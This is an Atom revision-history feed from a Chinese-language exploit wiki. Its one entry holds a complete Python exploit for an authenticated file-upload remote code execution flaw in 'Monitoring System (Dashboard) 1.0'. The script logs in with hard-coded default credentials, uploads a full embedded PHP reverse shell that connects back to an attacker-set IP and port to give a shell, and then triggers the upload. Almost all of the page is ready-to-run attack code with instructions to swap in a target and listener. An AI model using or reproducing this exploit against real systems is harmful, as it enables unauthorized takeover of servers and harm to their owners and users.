<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Monitoring_System_%28Dashboard%29_1.0_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26RCE%E6%BC%8F%E6%B4%9E</id>
	<title>Monitoring System (Dashboard) 1.0 任意文件上傳&amp;RCE漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Monitoring_System_%28Dashboard%29_1.0_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26RCE%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Monitoring_System_(Dashboard)_1.0_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26RCE%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T08:45:22Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Monitoring_System_(Dashboard)_1.0_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26RCE%E6%BC%8F%E6%B4%9E&amp;diff=1273&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Monitoring System (Dashboard) 1.0 - File Upload RCE (Authenticated) # Exploit Author: Richard Jones # Date: 2021-03-11 # Vendor Homepage: https:...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Monitoring_System_(Dashboard)_1.0_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26RCE%E6%BC%8F%E6%B4%9E&amp;diff=1273&amp;oldid=prev"/>
		<updated>2021-04-08T09:48:00Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Monitoring System (Dashboard) 1.0 - File Upload RCE (Authenticated) # Exploit Author: Richard Jones # Date: 2021-03-11 # Vendor Homepage: https:...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Monitoring System (Dashboard) 1.0 - File Upload RCE (Authenticated)&lt;br /&gt;
# Exploit Author: Richard Jones&lt;br /&gt;
# Date: 2021-03-11&lt;br /&gt;
# Vendor Homepage: https://www.sourcecodester.com/php/11741/monitoring-system-dashboard.html&lt;br /&gt;
# Software Link: https://www.sourcecodester.com/download-code?nid=11741&amp;amp;title=Monitoring+System+%28Dashboard%29+using+PHP+with+Source+Code&lt;br /&gt;
# Version: 1.0&lt;br /&gt;
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Usage. &lt;br /&gt;
# Change Target_IP, REV_IP, REV_PORT to your own&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
&lt;br /&gt;
def main():&lt;br /&gt;
        &lt;br /&gt;
    ##### Change info here #####&lt;br /&gt;
    TARGET_IP=&amp;quot;127.0.0.1&amp;quot;&lt;br /&gt;
    REV_IP=&amp;quot;127.0.0.1&amp;quot;&lt;br /&gt;
    REV_PORT=9999&lt;br /&gt;
    ############################&lt;br /&gt;
&lt;br /&gt;
    LOGIN=&amp;quot;/asistorage/login.php&amp;quot;&lt;br /&gt;
    MAILING_LIST=&amp;quot;/asistorage/modules/random/index.php?view=add&amp;quot;&lt;br /&gt;
    UPLOAD_URL=&amp;quot;/asistorage/modules/random/upload.php&amp;quot;&lt;br /&gt;
    VIEW_ITEM=&amp;quot;/asistorage/modules/random/index.php&amp;quot;&lt;br /&gt;
    CALL_URL=&amp;quot;/asistorage/modules/random/uploads/&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    s = requests.Session()&lt;br /&gt;
&lt;br /&gt;
    def phpshell():&lt;br /&gt;
        return &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        &amp;lt;?php&lt;br /&gt;
// Copyright (c) 2020 Ivan Å incek&lt;br /&gt;
// v1.1&lt;br /&gt;
// Requires PHP v5.0.0 or greater.&lt;br /&gt;
// Works on Linux OS, macOS and Windows OS.&lt;br /&gt;
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.&lt;br /&gt;
header('Content-Type: text/plain; charset=UTF-8');&lt;br /&gt;
class Shell {&lt;br /&gt;
    private $addr  = null;&lt;br /&gt;
    private $port  = null;&lt;br /&gt;
    private $os    = null;&lt;br /&gt;
    private $shell = null;&lt;br /&gt;
    private $descriptorspec = array(&lt;br /&gt;
        0 =&amp;gt; array('pipe', 'r'), // shell can read from STDIN&lt;br /&gt;
        1 =&amp;gt; array('pipe', 'w'), // shell can write to STDOUT&lt;br /&gt;
        2 =&amp;gt; array('pipe', 'w')  // shell can write to STDERR&lt;br /&gt;
    );&lt;br /&gt;
    private $options = array(); // proc_open() options&lt;br /&gt;
    private $buffer  = 1024;    // read/write buffer size&lt;br /&gt;
    private $clen    = 0;       // command length&lt;br /&gt;
    private $error   = false;   // stream read/write error&lt;br /&gt;
    public function __construct($addr, $port) {&lt;br /&gt;
        $this-&amp;gt;addr = $addr;&lt;br /&gt;
        $this-&amp;gt;port = $port;&lt;br /&gt;
        if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS&lt;br /&gt;
            $this-&amp;gt;os    = 'LINUX';&lt;br /&gt;
            $this-&amp;gt;shell = '/bin/sh';&lt;br /&gt;
        } else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {&lt;br /&gt;
            $this-&amp;gt;os    = 'WINDOWS';&lt;br /&gt;
            $this-&amp;gt;shell = 'cmd.exe';&lt;br /&gt;
            $this-&amp;gt;options['bypass_shell'] = true; // we do not want a shell within a shell&lt;br /&gt;
        } else {&lt;br /&gt;
            echo &amp;quot;SYS_ERROR: Underlying operating system is not supported, script will now exit...\n&amp;quot;;&lt;br /&gt;
            exit(0);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    private function daemonize() {&lt;br /&gt;
        set_time_limit(0); // do not impose the script execution time limit&lt;br /&gt;
        if (!function_exists('pcntl_fork')) {&lt;br /&gt;
            echo &amp;quot;DAEMONIZE: pcntl_fork() does not exists, moving on...\n&amp;quot;;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (($pid = pcntl_fork()) &amp;lt; 0) {&lt;br /&gt;
                echo &amp;quot;DAEMONIZE: Cannot fork off the parent process, moving on...\n&amp;quot;;&lt;br /&gt;
            } else if ($pid &amp;gt; 0) {&lt;br /&gt;
                echo &amp;quot;DAEMONIZE: Child process forked off successfully, parent process will now exit...\n&amp;quot;;&lt;br /&gt;
                exit(0);&lt;br /&gt;
            } else if (posix_setsid() &amp;lt; 0) { // once daemonized you will no longer see the script's dump&lt;br /&gt;
                echo &amp;quot;DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n&amp;quot;;&lt;br /&gt;
            } else {&lt;br /&gt;
                echo &amp;quot;DAEMONIZE: Completed successfully!\n&amp;quot;;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        umask(0); // set the file/directory permissions - 666 for files and 777 for directories&lt;br /&gt;
    }&lt;br /&gt;
    private function read($stream, $name, $buffer) {&lt;br /&gt;
        if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream&lt;br /&gt;
            $this-&amp;gt;error = true;                            // set global error flag&lt;br /&gt;
            echo &amp;quot;STRM_ERROR: Cannot read from ${name}, script will now exit...\n&amp;quot;;&lt;br /&gt;
        }&lt;br /&gt;
        return $data;&lt;br /&gt;
    }&lt;br /&gt;
    private function write($stream, $name, $data) {&lt;br /&gt;
        if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream&lt;br /&gt;
            $this-&amp;gt;error = true;                            // set global error flag&lt;br /&gt;
            echo &amp;quot;STRM_ERROR: Cannot write to ${name}, script will now exit...\n&amp;quot;;&lt;br /&gt;
        }&lt;br /&gt;
        return $bytes;&lt;br /&gt;
    }&lt;br /&gt;
    // read/write method for non-blocking streams&lt;br /&gt;
    private function rw($input, $output, $iname, $oname) {&lt;br /&gt;
        while (($data = $this-&amp;gt;read($input, $iname, $this-&amp;gt;buffer)) &amp;amp;&amp;amp; $this-&amp;gt;write($output, $oname, $data)) {&lt;br /&gt;
            echo $data; // script's dump&lt;br /&gt;
            if ($this-&amp;gt;os === 'WINDOWS' &amp;amp;&amp;amp; $oname === 'STDIN') { $this-&amp;gt;clen += strlen($data); } // calculate the command length&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)&lt;br /&gt;
    // we must read the exact byte length from a stream and not a single byte more&lt;br /&gt;
    private function brw($input, $output, $iname, $oname) {&lt;br /&gt;
        $size = fstat($input)['size'];&lt;br /&gt;
        if ($this-&amp;gt;os === 'WINDOWS' &amp;amp;&amp;amp; $iname === 'STDOUT' &amp;amp;&amp;amp; $this-&amp;gt;clen) { // for some reason Windows OS pipes STDIN into STDOUT&lt;br /&gt;
            $size -= $this-&amp;gt;offset($input, $iname, $this-&amp;gt;clen);             // we do not like that&lt;br /&gt;
            $this-&amp;gt;clen = 0;&lt;br /&gt;
        }&lt;br /&gt;
        $fragments = ceil($size / $this-&amp;gt;buffer); // number of fragments to read&lt;br /&gt;
        $remainder = $size % $this-&amp;gt;buffer;       // size of the last fragment if it is less than the buffer size&lt;br /&gt;
        while ($fragments &amp;amp;&amp;amp; ($data = $this-&amp;gt;read($input, $iname, $remainder &amp;amp;&amp;amp; $fragments-- == 1 ? $remainder : $this-&amp;gt;buffer)) &amp;amp;&amp;amp; $this-&amp;gt;write($output, $oname, $data)) {&lt;br /&gt;
            echo $data; // script's dump&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    private function offset($stream, $name, $offset) {&lt;br /&gt;
        $total = $offset;&lt;br /&gt;
        while ($offset &amp;gt; 0 &amp;amp;&amp;amp; $this-&amp;gt;read($stream, $name, $offset &amp;gt;= $this-&amp;gt;buffer ? $this-&amp;gt;buffer : $offset)) { // discard the data from a stream&lt;br /&gt;
            $offset -= $this-&amp;gt;buffer;&lt;br /&gt;
        }&lt;br /&gt;
        return $offset &amp;gt; 0 ? $total - $offset : $total;&lt;br /&gt;
    }&lt;br /&gt;
    public function run() {&lt;br /&gt;
        $this-&amp;gt;daemonize();&lt;br /&gt;
&lt;br /&gt;
        // ----- SOCKET BEGIN -----&lt;br /&gt;
        $socket = @fsockopen($this-&amp;gt;addr, $this-&amp;gt;port, $errno, $errstr, 30);&lt;br /&gt;
        if (!$socket) {&lt;br /&gt;
            echo &amp;quot;SOC_ERROR: {$errno}: {$errstr}\n&amp;quot;;&lt;br /&gt;
        } else {&lt;br /&gt;
            stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS&lt;br /&gt;
&lt;br /&gt;
            // ----- SHELL BEGIN -----&lt;br /&gt;
            $process = proc_open($this-&amp;gt;shell, $this-&amp;gt;descriptorspec, $pipes, '/', null, $this-&amp;gt;options);&lt;br /&gt;
            if (!$process) {&lt;br /&gt;
                echo &amp;quot;PROC_ERROR: Cannot start the shell\n&amp;quot;;&lt;br /&gt;
            } else {&lt;br /&gt;
                foreach ($pipes as $pipe) {&lt;br /&gt;
                    stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS&lt;br /&gt;
                }&lt;br /&gt;
&lt;br /&gt;
                // ----- WORK BEGIN -----&lt;br /&gt;
                fwrite($socket, &amp;quot;SOCKET: Shell has connected! PID: &amp;quot; . proc_get_status($process)['pid'] . &amp;quot;\n&amp;quot;);&lt;br /&gt;
                while (!$this-&amp;gt;error) {&lt;br /&gt;
                    if (feof($socket)) { // check for end-of-file on SOCKET&lt;br /&gt;
                        echo &amp;quot;SOC_ERROR: Shell connection has been terminated\n&amp;quot;; break;&lt;br /&gt;
                    } else if (feof($pipes[1]) || !proc_get_status($process)['running']) { // check for end-of-file on STDOUT or if process is still running&lt;br /&gt;
                        echo &amp;quot;PROC_ERROR: Shell process has been terminated\n&amp;quot;;   break;   // feof() does not work with blocking streams&lt;br /&gt;
                    }                                                                      // use proc_get_status() instead&lt;br /&gt;
                    $streams = array(&lt;br /&gt;
                        'read'   =&amp;gt; array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR&lt;br /&gt;
                        'write'  =&amp;gt; null,&lt;br /&gt;
                        'except' =&amp;gt; null&lt;br /&gt;
                    );&lt;br /&gt;
                    $num_changed_streams = stream_select($streams['read'], $streams['write'], $streams['except'], null); // wait for stream changes | will not wait on Windows OS&lt;br /&gt;
                    if ($num_changed_streams === false) {&lt;br /&gt;
                        echo &amp;quot;STRM_ERROR: stream_select() failed\n&amp;quot;; break;&lt;br /&gt;
                    } else if ($num_changed_streams &amp;gt; 0) {&lt;br /&gt;
                        if ($this-&amp;gt;os === 'LINUX') {&lt;br /&gt;
                            if (in_array($socket  , $streams['read'])) { $this-&amp;gt;rw($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN&lt;br /&gt;
                            if (in_array($pipes[2], $streams['read'])) { $this-&amp;gt;rw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET&lt;br /&gt;
                            if (in_array($pipes[1], $streams['read'])) { $this-&amp;gt;rw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET&lt;br /&gt;
                        } else if ($this-&amp;gt;os === 'WINDOWS') {&lt;br /&gt;
                            // order is important&lt;br /&gt;
                            if (in_array($socket, $streams['read'])) { $this-&amp;gt;rw ($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN&lt;br /&gt;
                            if (fstat($pipes[2])['size']/*-------*/) { $this-&amp;gt;brw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET&lt;br /&gt;
                            if (fstat($pipes[1])['size']/*-------*/) { $this-&amp;gt;brw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET&lt;br /&gt;
                        }&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
                // ------ WORK END ------&lt;br /&gt;
&lt;br /&gt;
                foreach ($pipes as $pipe) {&lt;br /&gt;
                    fclose($pipe);&lt;br /&gt;
                }&lt;br /&gt;
                proc_close($process);&lt;br /&gt;
            }&lt;br /&gt;
            // ------ SHELL END ------&lt;br /&gt;
&lt;br /&gt;
            fclose($socket);&lt;br /&gt;
        }&lt;br /&gt;
        // ------ SOCKET END ------&lt;br /&gt;
&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
// change the host address and/or port number as necessary&lt;br /&gt;
$reverse_shell = new Shell('OLDIP', OLDPORT);&lt;br /&gt;
$reverse_shell-&amp;gt;Run();&lt;br /&gt;
?&amp;gt;&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    def login(url,username, password):&lt;br /&gt;
        try:    &lt;br /&gt;
            data = {&lt;br /&gt;
                &amp;quot;uname&amp;quot;:username,&lt;br /&gt;
                &amp;quot;upass&amp;quot;:password,&lt;br /&gt;
                &amp;quot;btnlogin&amp;quot;:&amp;quot;&amp;quot;&lt;br /&gt;
            }&lt;br /&gt;
            &lt;br /&gt;
            r = s.post(url,data=data, verify=False)&lt;br /&gt;
            page = r.text&lt;br /&gt;
            if &amp;quot;Invalid Username or Password, please try again.&amp;quot; in page:&lt;br /&gt;
                return False&lt;br /&gt;
            else:&lt;br /&gt;
                return True&lt;br /&gt;
        except :&lt;br /&gt;
            return False&lt;br /&gt;
&lt;br /&gt;
    def uploadShell(url):&lt;br /&gt;
        s.get(f&amp;quot;{url}{MAILING_LIST}&amp;quot;) # Call page&lt;br /&gt;
        &lt;br /&gt;
        fileData = {&lt;br /&gt;
        'uploaded_file':(&amp;quot;rev.php&amp;quot;,str(phpshell().replace(&amp;quot;OLDIP&amp;quot;, REV_IP).replace(&amp;quot;OLDPORT&amp;quot;, str(REV_PORT))).encode(), &amp;quot;application/octet-stream&amp;quot;)}&lt;br /&gt;
        data={&lt;br /&gt;
        &amp;quot;pname&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
        &amp;quot;pname&amp;quot;:&amp;quot;a&amp;quot;,&lt;br /&gt;
        'cutoff':'',&lt;br /&gt;
        'cutoff':'a',&lt;br /&gt;
        'projectname':'',&lt;br /&gt;
        'type':'a',&lt;br /&gt;
        'projectname':'',&lt;br /&gt;
        'dsend':'2029-03-19',&lt;br /&gt;
        'desc':'a',&lt;br /&gt;
        'MAX_FILE_SIZE':100000,&lt;br /&gt;
        'Uploader':'',&lt;br /&gt;
    }&lt;br /&gt;
        up_url=f&amp;quot;{url}{UPLOAD_URL}&amp;quot;        &lt;br /&gt;
        r = s.post(up_url, files=fileData,data=data, verify=False)&lt;br /&gt;
        if r.status_code == 200:&lt;br /&gt;
            print(&amp;quot;shell uploaded&amp;quot;)&lt;br /&gt;
        else:&lt;br /&gt;
            print(&amp;quot;Shell upload failed&amp;quot;)&lt;br /&gt;
            exit(0)&lt;br /&gt;
        r = s.get(f&amp;quot;{url}{VIEW_ITEM}&amp;quot;)&lt;br /&gt;
        page = r.text&lt;br /&gt;
        DL_URL=page.split(&amp;quot;download.php?filename=&amp;quot;)[1].split(&amp;quot;\&amp;quot;&amp;gt;&amp;quot;)[0]&lt;br /&gt;
        return DL_URL&lt;br /&gt;
        &lt;br /&gt;
#Login&lt;br /&gt;
    base_url=f&amp;quot;http://{TARGET_IP}&amp;quot;&lt;br /&gt;
    login_url=f&amp;quot;{base_url}{LOGIN}&amp;quot;&lt;br /&gt;
    b=login(login_url, &amp;quot;jim&amp;quot;, &amp;quot;jim&amp;quot;)&lt;br /&gt;
    if not b:&lt;br /&gt;
        print(&amp;quot;Login failed, Try again...&amp;quot;)&lt;br /&gt;
        exit(0)&lt;br /&gt;
    &lt;br /&gt;
#CAll shell&lt;br /&gt;
    base=f&amp;quot;{base_url}&amp;quot;&lt;br /&gt;
    CALL_URL_PART=uploadShell(base)&lt;br /&gt;
    c_url=f&amp;quot;{base}{CALL_URL}{CALL_URL_PART}&amp;quot;&lt;br /&gt;
    s.get(c_url)&lt;br /&gt;
    #Shell can be found at http:/TARGET//asistorage/modules/random/uploads/&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    main()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>